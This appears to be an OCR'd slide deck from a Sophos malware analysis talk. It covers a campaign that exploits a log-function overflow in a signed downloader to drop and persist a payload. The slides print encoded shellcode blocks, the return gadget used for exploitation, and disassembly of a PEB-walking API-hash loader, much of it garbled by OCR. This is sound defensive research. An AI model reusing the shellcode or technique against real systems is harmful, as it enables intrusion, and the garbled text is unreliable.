QI F2E 0T @20 B (¥ uEGE Y=2TorsT ——-"""??E?U{EH“"+ VFR?am H{zyxwentsrgponmlkj
ihgfedcha® _~INL[ZYXUWUUTSROPONMLEJIHGFEDCBAR? >=<; : 9876543210/ . —, +33 (G5 H"Y Vivies
TI=E" 4% Fes . I I
ﬂ-!ﬁ*vﬂ@ ybjﬁﬁﬁha+HEE&EHEiiiiEEéE;mﬁEEEéaBbéuuuuﬂxﬁuuuuuﬂfIIIEEEEEEEﬁnnn

i 221 QI EZ 0T B B I YeTors T """ P 22E0E M H L " F 7™ H{zyxumut s g
unmlkalhgfedcha‘_“]M[ETHHUUTERQPHHHLHJIHGFEDEHHE?} {"93?55432153.— +x3 (" B e
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Installation flow

y N\
Siclleena - ) Digital Signature Details B[]
in First stage _E;;;EFTE;E;EQH
exploited dropper —2\ Digital Signature Information
d ocument This digital signature is QK.
W&ﬁ //<§
Embedded 0‘:0 B w Signer information
EXE in Embedded plain Name:
EXE
OLE2 E-mail: |Nnt available
o ”
— Overlay /" \ j Signing time: I 23 February 2012 07:20:46
View Certificate
Countersignatures
Scie nce.ey Mame of signer: E-mail address: Timestamp
WaSign Time Sta... Mot available 23 February 2012 07...
Registered for startup —
HKLM\SYSTEM\CurrentConti
Added to the DEP exclusion |
sysdm.cpl -> NoExecuteAddF

SOPHOS




Run key
HKLM\SYSTEM\CurrentControlSet\Services\NetWork Service\ImagePath =

C:\Documents and Settings\All Users\NetWork\science.exe
LLLLYIN7QZAKAOD2A00AOKAOD2A12B10B1ABjAX8ALUIN2uNkxiMQILePvbUPePIgWS9t7kwOKDSPIgg5hh2ZezxFVXIg7 5xirebuXbtkyWqUXpSFKfZvYPKwpEZTm7x0sdLUO7wSzXLnNOAVNKO72eKLYKJs

3ROEucKypdnkgEVP5PgpUPLKRVtLLKT6ELLKWEWXIKQNWPLKp6u6vYPOr8RUzRNkyHIKRs7LNkpTvzt8wsxSIIGEYLIK1bQOwsZSNkSzFxVSjrk9aEkhcfrgLKsen8NmQmXdIMulNwwCIrkLnM5SO3rrpVvSZrNkxpVSiPKLNLIDKpptEWKqYR334rNOXKHtLKy
RQNBzgK370t7t72xbkIJINkw5kILK3xuteSxKQvNKTTRGNkG8WIESjkNks4) 1wsISk9VgKN75JxOpsMxX7vpYaNgnlkPj60IK9MnazKGpUQUPGpbsQzEPKOpUKTOuO0tOk4nQW pePUPIKzUmQJNePeQgpwpGsIOKMNLrFUMQL303DURzK8WKLiWSvfbQs
bORN1vhG2fUVaySWfNcTKwpF4J3QPtuPWpBJcOPhMPwpwp7pazUSsZuPSZS1PhWpUP7pMPpSioSeKXNczXKOsDPILKIXSZ7pPSkO65JTMYQUXLSZwWOSX30VpS0S02 plzgpYoSel8neKpOyOEXPPtpMpj7pnmF5iDf2ioSEXLvOqCKOVSXILE9PT4ekbskO
se8pLKcezpNkPMxXLmQYTuPURePuPIKM5QMP3iKsyRgmZuJPOWI7zXbkKbyTsKkcsKOKKKORUUTScKkZKzVvP5LvjXbJQnmK2tStL7pePFOcrkOKbySAN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWW5kX0z52jfTxO7rexIsu2uM2TKxGbejP5Fn6HVyP
XG1UI4M7XoRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6PGpUPUPLKPvtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPJ6xFSkbmYQEzxpVv1INk2uN8LMcMHALMSILWp39BKLIMTCXCf2SfP
38RLKzPecyPKLIILDiP2TEWiQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfcxKPfnkwdPQNKRhWIeSIkIKVANgC3hCNi4GKNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioF5ytMUYPFoLDORGpwpSPLKL5k1zNuPFa7p
Wp7sxpymLI56wMQLePRTWrxkKGYI9WPFWr2CBORNEGHGQVVflybGTnPdO7qVfjaqT4UPS0azgpSXkOWpgpUPSZuSqzWppj31gxuPePuPmPPSioseKXMSKHKOPtaMLKKhri5PgCKOpUjTMYCuhLsZ3pQx7p4PWp7prpriUPioce HXKSKpmYWS5ZpQd
WNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4lpSKOV58pLKPUNONk2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZuJPOwl4JkRkKCidsIKNmMRuC4L30s02pW2kOhRYSD2A00A0kAOD2A12B10B1ABjAX8A1UIN2unkZLk1jLGpdBWpwpo73uKTWkwOl
dUOIWWS5kX0z5zjfTxO7rexlsu2uM2TKxGbejPSFn6HVYPXG1UI4M7X0oRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6PGpUPUPLKPVtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPI6xFSkbmY
QEzxpVvINk2uN8LMcMHALMS5ILW p39BKLIMTCXCf2SfP38RLKzPecyPKLIILDiIP2TEWiQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfexKPfnkwdPQNKRhWIeSJkIKVANgC3hCNi4GkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5Pg
pPS2)7pioF5ytMUYPFoLDoRGpwp5PLKL5k1zNuPFa7pWp7sxpymLIS6wMQLePRTWrxkKGYIQWPFWr2CBORNE6GHGQVVf1ybGTnPdO7qVfjagT4UPS0azgpSXkOWpgp UPSZuSqzW ppj31gxuPePuPmPPSiose KXMSKHKOPtaMLKKhrJ5PqCKOpUjTMY
CuhLsZ3pQx7p4PWp7prpriUPioceHXK5KpmYW5ZpQdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4IpSKOv58pLKPUNONk2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZulPOwl4JkRkKCidsIKNmMRuC4L30s02pW2kOhRYSD2A00A0OKkAOD2A12B10
B1ABjAX8A1ulN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWW5kX0z5zjfTxO7rexlsu2uM2TKxGbejP5Fn6HVYPXG1UI4M7X0oRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHISTnkgE6PGpUPUPLKPVtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIK
PSgLIK6462T84ChSmYceKINkgbepwshsLKPI6xFSkbmYQEzxpVv1Nk2uN8LMcMHALM5ILWp39BKLIMTCXCf2SfP38RLKzPecyPKLIILDiP2TEWiIQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfexKPfnkwdPQNKRhWI1eSJkIKVANGC3hCNi
4GkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioF5ytMUYPFoLDoRGpwpS5SPLKLSk1zNuPFa7pWp7sxpymLIS6wMQLePRTWrxkKGYISWPFWr2CBORNE6HGQVVf1lybGTnPdO7qVfjaqT4UPS0azgpSXkOWpgpUPSZuSqzWppj31lgxuPe
PuPmPPSioseKXMSKHKOPtaMLKKhrJ5PqCKOpUjTMYCuhLsZ3pQx7p4PWp7prpriUPioceHxK5KpmYWS5ZpQdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4lpSKOvV58pLKPUNONk2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZulPOwl4JkRkKCidsIK
NmMMRuC4L30s02pW2kOhRYSD2A00A0OkAOD2A12B10B1ABjAX8A1uIN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWW5kX0z5zjfTxO7rexlsu2uM2TKxGbejP5Fn6HVYPXG1UI4M7XoRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6PGpUPUPL
KPvtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK646zT84ChSmYceKINkgbepwshsLKPJ6xFSkbmYQEzxpVvINk2uN8LMcMHALMSILWp39BKLIMTCXCf2SfP38RLKzPecyPKLIILDiIP2TEWiQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInk
G5KINksxUtfexKPfnkwdPQNKRhWIeSIkIKVANGC3hCNi4GkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioF5ytMUYPFoLDoRGpwp5SPLKL5k1zNuPFa7pWp7sxpymLIS6wMQLePRTWrxkKGYIOWPFWr2CBORNE6HGQVVf1lybGTnPdO
7qVfjaqT4UPS0azgpSXkOWpgpUPSZuSqzWppj31axuPePuPmPPSioseKXMSKHKOPtaMLKKhri5PqCKOpUjTMYCuhLsZ3pQx7p4PWp7prpriUPioceHxK5KpmYWS5Zp QdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4IpSKOV58pLKPUNONk2m8LnaY
TuPs2WpGpNkkUsmecKkQYSamZuJPOwID2A00AOkAOD2A12B10B1ABjAX8ALuIN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWWS5kX0z5zjfTxO7rexIsu2uM2TKxGbejP5Fn6HVYPXG1UI4M7XoRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6P
GpUPUPLKPvtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPJ6xFSkbmYQEzxpVvINk2uN8LMcMHALMSILWp39BKLIMTCXCf2SfP38RLKzPecyPKLIILDiIP2TEWiIQO2USvRzphk8tLKKrCnBzwKVg3Dwta
RM2KIzInkG5KINksxUtfcxKPfnkwdPQNkRhWIeSIkIKVANgC3hCNi4GkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioFSytMUYPFoLDoRGpwp5P LKL5k1zNuPFa7pWp7sxpymLIS6wMQLePRTW rxkKGYIOWPFWr2CBORNE6HGQVVfly
bGTnPdO7qVfjaqT4UPS0azgpSXkOWpgpUPSZuSqzW ppj31gxuPePuPmPPSioseKXMSKHKOPtaMLKKhri5PgCKOpUjTMYCuhLsZ3pQx7p4PWp7prpriUPioceHxK5KpmYW5ZpQdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4IpSKOV58pLKPUNON
k2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZulJPOwI4JkRkKCidsIKNmMRuC4L30s02pW2kOhRYSD2A00A0kAOD2A12B10B1ABjAX8A1uUIN2unkZLk1jLGpdBWpwpo73 uKTWkwOIdUOIWW5kX0z5zjfTxO7rexIsu2uM2TKxGbejP5SFn6HVYPXG1UI4M7X
oRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6PGpUPUPLKPVtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPI6xFSkbmYQEzxpVvINk2uN8LMcMHALMSILWp39BKLIMTCXCf2SfP38RLKzPecy
PKLIILDiP2TEWiIQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfexKPfnkwdPQNKRhWIeSIkIKVANGC3hCNi4GkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioFSytMUYPFoLDoRGpwp5PLKLSk1zNuPFa7pWp7sxpymLl
56wMQLePRTWrxkKGYI9WPFWr2CBORNE6HGQVVf1lybGTnPdO7qVfjagT4UPS0OazgpSXkOW pgpUPSZuSqzWppj31gxuPePuPmPPSioseKXMSKHKOPtaMLKKhrJ5PqCKOpUjTMYCuhLsZ3pQx7p4PWp7prprlUPioceHxK5KpmYW5ZpQdWNsZUPLM3
ekdPRkOBUzIpP63kORuxInelPbT4lpSKOV58pLKPUNONk2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZulPOwl4JkRkKCidsIKNmMRuC4L30s02pW2kOhRYSD2A00A0kAOD2A12B10B1ABjAX8ALuIN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWWS5KX0
25zjfTxO7rexlsu2uM2TKxGbejP5Fn6HVYPXG1UI4M7XoRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6PGpUPUPLKPVtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPI6xFSkbmYQEzxpVv1Nk2
UNBLMcMHALMS5ILWp39BKLIMTCXCf2SfP38RLKzPecyPKLIILDIP2TEWiIQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfexKPfnkwdPQNkRhWIeSJkIKVANGC3hCNi4GKkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioF 5y
tMUYPFoLDoRGpwp5PLKLSk1zNuPFa7pWp7sxpymLIS6wMQLePRTWrxkKGYIOWPFWr2CBORNE6HGQVVflybGTnPdO7qVfjaqT4UPS0azgpSXkOWpgpUPSZuSqzWppj31lgxuPePuPmPPSioseKXMSKHKOPtaMLKKhrJ5PqCKOpUjTMYCuhLsZ3pQx7
p4PWp7prpriUPioceHxK5KpmYW5ZpQdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4IpSKOV58pLKPUNONk2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZulPOwl4) kRkKCidsIKNmMRuC4L30s02pW2kOhRYSAAA4JKRKKCidsIKD2AOOAOKAOD2A12
B10B1ABjAX8A1uIN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWWS5kX0z5zjfTxO7rexlsu2uM2TKxGbejPSFn6HVYPXG1UI4M7XoRtZ5yW2ezXNNxP4VIkO73uilY KhSSR856SHIsTnkgE6PGpUPUPLKPvtLNkafWIIKrfGxLKsNaONkwFQvVYPODXPuXrLK
khIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPJ6xFSkbmYQEzxpVv1Nk2uN8LMcMHALMS5ILWp39BKLIMTCXCf2SfP38RLKzPecyPKLIILDiP2TEWiQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfexKPfnkwdPQNKRhWIeSIkIKVANGC3h
CNi4GkNpEjxMPgmZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioF5ytMUYPFoLDoRGpwp5PLKL5k1zNuPFa7pWp7sxpymLIS6wMQLePRTWrxkKGYIOWPFWr2CBORNEGHGQVVf1lybGTnPdO7qVfjaqT4UPS0azgpSXkOWpgpUPSZuSqzWppj31gx
uPePuPmPPSioseKXMSKHKOPtaMLKKhrJ5PqCKOpUjTMYCuhLsZ3pQx7p4PWp7prprlUPioceHxKSKpmYWS5ZpQdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4lpSKOV58pLKPUNONk2m8LnaYTuPs2WpGpNkkUsmecKkQYSamZul POwl4JkRkKCid
sIKNmMRD2A00AOKAOD2A12B10B1ABjAX8A1uIN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWWS5kX0z5zjfTxO7rexIsu2uM2TKxGbejPSFn6HVYPXG1UI4M7XoRtZ5yW2ezXNNxP4VIkO73uilYKhSSR856SHIsTnkgE6PGpUPUPLKPVtLNkafWIIKrfGxL
KsNaONkwFQvVYPODXPuXrLKkhIKPSgLIK6462T84ChSmYceKINkgbepwshsLKPJEXFSkbmYQEzxpVvINk2uN8LMcMHALMSILWp39BKLIMTCXCf2SfP38RLKzPecyP KLIILDiIP2TEWiIQO2USvRzphk8tLKKrCnBzwKVg3DwtaRM2KIzInkG5KINksxUtfcxKPfn
kwdPQNkRhWIeSJkIKVANGC3hCNi4GkNpEjxMPamZx7vSiSnSNnKbJVOIKyMmQjK7p7q5PgpPS2)7pioFSytMUYPFoLDoRGpwp5PLKLS5k1zNuPFa7pWp7sxpymLI56 wMQLePRTWrxkKGYI9WPFWr2CBORNE6GHGQVVf1lybGTnPdO7qVfjagT4UPSOazgp
SXkOWpgpUPSZuSqzWppj31gxuPePuPmPPSioseKXMSKHKOPtaMLKKhrJ5PqCKOpUjTMYCuhLsZ3pQx7p4PWp7prprlUPioceHxKSKpmYWS5ZpQdWNsZUPLM3ekdPRkOBUzIpP63kORuxInelPbT4IpSKOV58pLKPUNONk2m8LnaYTuPs2WpGpNkkUs
meckKkQYSamZuJPOwl4JkRkKCidsIKNmMRuC4L30s02pW2kOhRYSAUC4L30s02pW2kOhRD2A00AOKAOD2A12B10B1ABjAX8A1uIN2unkZLk1jLGpdBWpwpo73uKTWkwOIdUOIWW5kX0z5zjfTxO7rexlsu2uM2TKxGbejP5Fn6HVYPXG1UI4M7XoRtZ5y

W2ezXNNxP4VIkO73uilYKhSSR8565HIsTnkgE6PGpUPUPLKPvtLNkafWIIKr 100 PC@
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Logging

char *write_log(int a1, char *Format, ...)
{
va_list va; // [sp+200Ch] [bp+Ch]@1
char *result; // eax@1
char Dest; // [sp+0h] [bp-2000h]@?2

va_start(va, Format);
result = Format;
if (Format)
{

result = (char *)vsprintf(&Dest, Format, va);

if ( (unsigned int)result < 0x2000 )

result = (char *)CLog__ ADD Log(g_Log, &Dest, result, al);

}

return result;

}

SOPHOS



http://msdn.microsoft.com/en-us/library/vstudio/1kt27hek.aspx
http://msdn.microsoft.com/en-us/library/vstudio/1kt27hek.aspx
http://msdn.microsoft.com/en-us/library/vstudio/w05tbk72.aspx
http://msdn.microsoft.com/en-us/library/vstudio/w05tbk72.aspx

Exploitation

Log function epilogue:

0x404350 (PC@)

add  esp, 2000h Param 1: log entry ID
retn

Param 2: address of command line

.text:00404350 pop ecx Param 1: log entry ID
.text:00404351  retn Param 2: address of command line

LLLLY11117QZAKAOD2AO0AOKAOD2A12B10B1ABAX8ALUIN
2uNKkXIMQJLePvbUPePIgW59t7kwOKDSPIgg5hh2ZezxFVX
Jg75xIrebuXbtKyWqUXp5FKfZvYPKwpEzTm7x0osdLUO7wWS5

zXLhNOdVNKO72eKLYKJs3
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Shellcode from the command line

push ebp
mov ebp, esp
sub esp, 288h
mov dword ptr [ebp-1Ch], 68F43F1Bh ; GetModuleFileMamen
mou dword ptr [ebp-18h], 38C62A7Ah ; CreateFilen
mov dword ptr [ebp-14h], BBE25545h ; ReadFile
mou dword ptr [ebp-18h], BCADGDS16Rh ; CloseHandle
moy dword ptr [ebp-8Ch], ?554EFEF¥h ; GetFileSize

at t mou dword ptr [ebp-8], OAB16DBAER ; VirtualAlloc
mov dword ptr [ebp-4], BB562D3DBh ; VirtualFree
X0r eCcx, PCX
mov esi, fs:dword 38 ; ESI <- PEB
moy esi, [esi+BCh] ; PPEB_LDR_DATA
mou esi, [esi+iCh] ; <- InInitOrderHodulelist

next module: ; CODE XREF: seqBO8:88082455]

mov eax, [esi+8] ; «— DllBase
mou edi, [esi+Z?Bh] ; <- BaseDllHame
moy esi, ds:off_B[esi] ; <- next entry
cmp [edi+18h], cx » check name length - search for KERHEL3Z.DLL
jnz short next _module ; <- Dl1lBase
mou ebx, eax
mov edx, [ebx+3ICh]
mou edx, [edx+ebx+78h] ; <- Export table
add ed=, ebx
mou [ebp-24h], edX
mov esi, [edx+28h] ; <- Export table: Address of names

the add esi, ebx
mou ecx, [edx+18h] ; <- Export table: number of names
=z0r edx, edx
mou [ebp-28h], edx

next function: ; CODE XREF: seqB08:880824C5]
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Main payload

2; ' Registry Editor

File Edit Wiew Favorites Help

Decrypted a 5 et o )| Hne

I{Default]l REG_S7 (walle not set)

"{:' Speech 28] carfig REG_BINARY 7a 00 77 00 7a 00 2a 00 76 00 2d 00 7b 00 Fe C
{:| SyskemCertifical

iles\Microsaft Sharer

=L |
CO n n e Cts to &=-E3 TETanﬁewer ilesiMicrosaft Share

(3 Terminel Server OFfice\OFFICE 11}
(] Tracing |Carfig i
. # @ Teansactionser || = — Files|SYS TEMIMSMAP
Communicat = 03 Tshou
-] Tuning Spaces g S g g g*é* g S z.
: .
i & Updates 0010 24 00 =,
. _ noola  z2A oo =
Loads config 0020 78 00 5.
goza 77 oo w.
: noozn 2B oo +.
-0 WEBEM
o HKLM\SOF # 03 Web Flders 0010 4F 00 0.
-1 Weh Service Pre no4s  4F oo o
oo

o file %ALLU. = (3 windows 0050 EE E4

@ Qamenvers | fondy 10 RN o

(e Kalnl ia el Nt

OF. ][ Cancel ]

¢ ' <

My Computer\HEEY _LOCAL_MACHIMEVSOFTYWARE N Microsof b windows\Help
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Exploited application

 Downloader component

4 different variations identified

All 4 are vulnerable to the exploit

All have the same version info

o Verified: Signed

o  Signing date: 07:20 23/02/2012

o Publisher:

o Description: Download Microsoft 22?7?77
o Product: Download ????

O Version: 1,00, 1

O File version: 10, 3, 19, 1
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Installation flow

\
— (= =\ (= =\ (= =\
Shellcode
in First stage Intermediate
loited dropper dropped Installer
exploi
document ﬁ ﬁ
0% ool 00 ook
Embedded [R *xeb
EXE in Embedded plain Embedded ET(:'?/(;S:S
OLE2 EXE encrypted EXE A——
o V24
verl

= DDVCtrlLib.dll

\J Config.dat
(final payload)
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Conclusion

Not every that looks clean,
acts as clean or is clean is
Innocent.

SOPHOS 40



Questions?

e gabor.szappanos@sophos.com
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